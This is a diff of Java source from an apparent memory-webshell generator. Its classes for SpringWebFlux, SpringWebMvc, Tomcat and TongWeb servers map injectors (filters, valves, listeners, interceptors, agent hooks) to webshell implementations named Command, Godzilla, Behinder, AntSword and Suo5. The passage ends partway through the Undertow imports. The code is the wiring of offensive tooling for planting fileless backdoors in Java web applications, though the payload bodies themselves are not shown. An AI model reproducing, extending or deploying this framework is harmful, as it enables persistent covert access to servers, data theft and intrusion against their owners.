import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
|
||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class SpringWebFluxShell extends AbstractShell {
|
||||
public static final String WEB_FILTER = "WebFilter";
|
||||
public static final String HANDLER_METHOD = "HandlerMethod";
|
||||
public static final String HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
||||
.addInjector(HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
||||
.addInjector(HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
||||
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(WEB_FILTER, CommandWebFilter.class)
|
||||
.addShellClass(HANDLER_METHOD, CommandHandlerMethod.class)
|
||||
.addShellClass(HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(WEB_FILTER, GodzillaWebFilter.class)
|
||||
.addShellClass(HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||
.addShellClass(HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(WEB_FILTER, Suo5WebFilter.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class SpringWebMvcShell extends AbstractShell {
|
||||
public static final String INTERCEPTOR = "Interceptor";
|
||||
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
||||
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||
public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(INTERCEPTOR, SpringWebMvcInterceptorInjector.class)
|
||||
.addInjector(JAKARTA_INTERCEPTOR, SpringWebMvcInterceptorInjector.class)
|
||||
.addInjector(CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||
.addInjector(JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||
.addInjector(AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
.addShellClass(JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
.addShellClass(AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
.addShellClass(JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
.addShellClass(AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||
.addShellClass(CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||
.addShellClass(JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||
.addShellClass(AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||
.addShellClass(CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||
.addShellClass(JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(INTERCEPTOR, AntSwordInterceptor.class)
|
||||
.addShellClass(JAKARTA_INTERCEPTOR, AntSwordInterceptor.class)
|
||||
.addShellClass(CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||
.addShellClass(JAKARTA_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||
.addShellClass(AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell extends AbstractShell {
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = ShellCommonUtil.getFieldValue(request, "response");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(VALVE, TomcatValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
||||
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class TongWeb6Shell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(VALVE, CommandValve6.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve6.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(VALVE, GodzillaValve6.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve6.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(VALVE, BehinderValve6.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve6.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.addShellClass(VALVE, Suo5Valve6.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve6.class)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(VALVE, AntSwordValve6.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
||||
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class TongWeb7Shell extends AbstractShell {
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
|
||||
Class<?> commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command);
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, commandListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, commandListenerClass)
|
||||
.addShellClass(VALVE, CommandValve7.class)
|
||||
.addShellClass(JAKARTA_VALVE, CommandValve7.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla);
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, godzillaListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, godzillaListenerClass)
|
||||
.addShellClass(VALVE, GodzillaValve7.class)
|
||||
.addShellClass(JAKARTA_VALVE, GodzillaValve7.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder);
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, behinderListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, behinderListenerClass)
|
||||
.addShellClass(VALVE, BehinderValve7.class)
|
||||
.addShellClass(JAKARTA_VALVE, BehinderValve7.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
Class<?> suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5);
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, suo5ListenerClass)
|
||||
.addShellClass(JAKARTA_LISTENER, suo5ListenerClass)
|
||||
.addShellClass(VALVE, Suo5Valve7.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5Valve7.class)
|
||||
.build());
|
||||
|
||||
Class<?> antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword);
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, antSwordListenerClass)
|
||||
.addShellClass(VALVE, AntSwordValve7.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Singular;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/21
|
||||
*/
|
||||
@Builder
|
||||
public class ToolMapping {
|
||||
|
||||
@Singular("addShellClass")
|
||||
private final Map<String, Class<?>> shellClassMap;
|
||||
|
||||
public List<String> getSupportedShellTypes() {
|
||||
return new ArrayList<>(shellClassMap.keySet());
|
||||
}
|
||||
|
||||
public Map<String, Pair<Class<?>, Class<?>>> getShellClassMap(InjectorMapping injectorMapping) {
|
||||
Map<String, Pair<Class<?>, Class<?>>> result = new LinkedHashMap<>();
|
||||
for (String type : injectorMapping.getSupportedShellTypes()) {
|
||||
Class<?> shellClass = shellClassMap.get(type);
|
||||
Class<?> injectorClass = injectorMapping.getInjector(type);
|
||||
if (shellClass != null && injectorClass != null) {
|
||||
result.put(type, Pair.of(shellClass, injectorClass));
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
|
||||
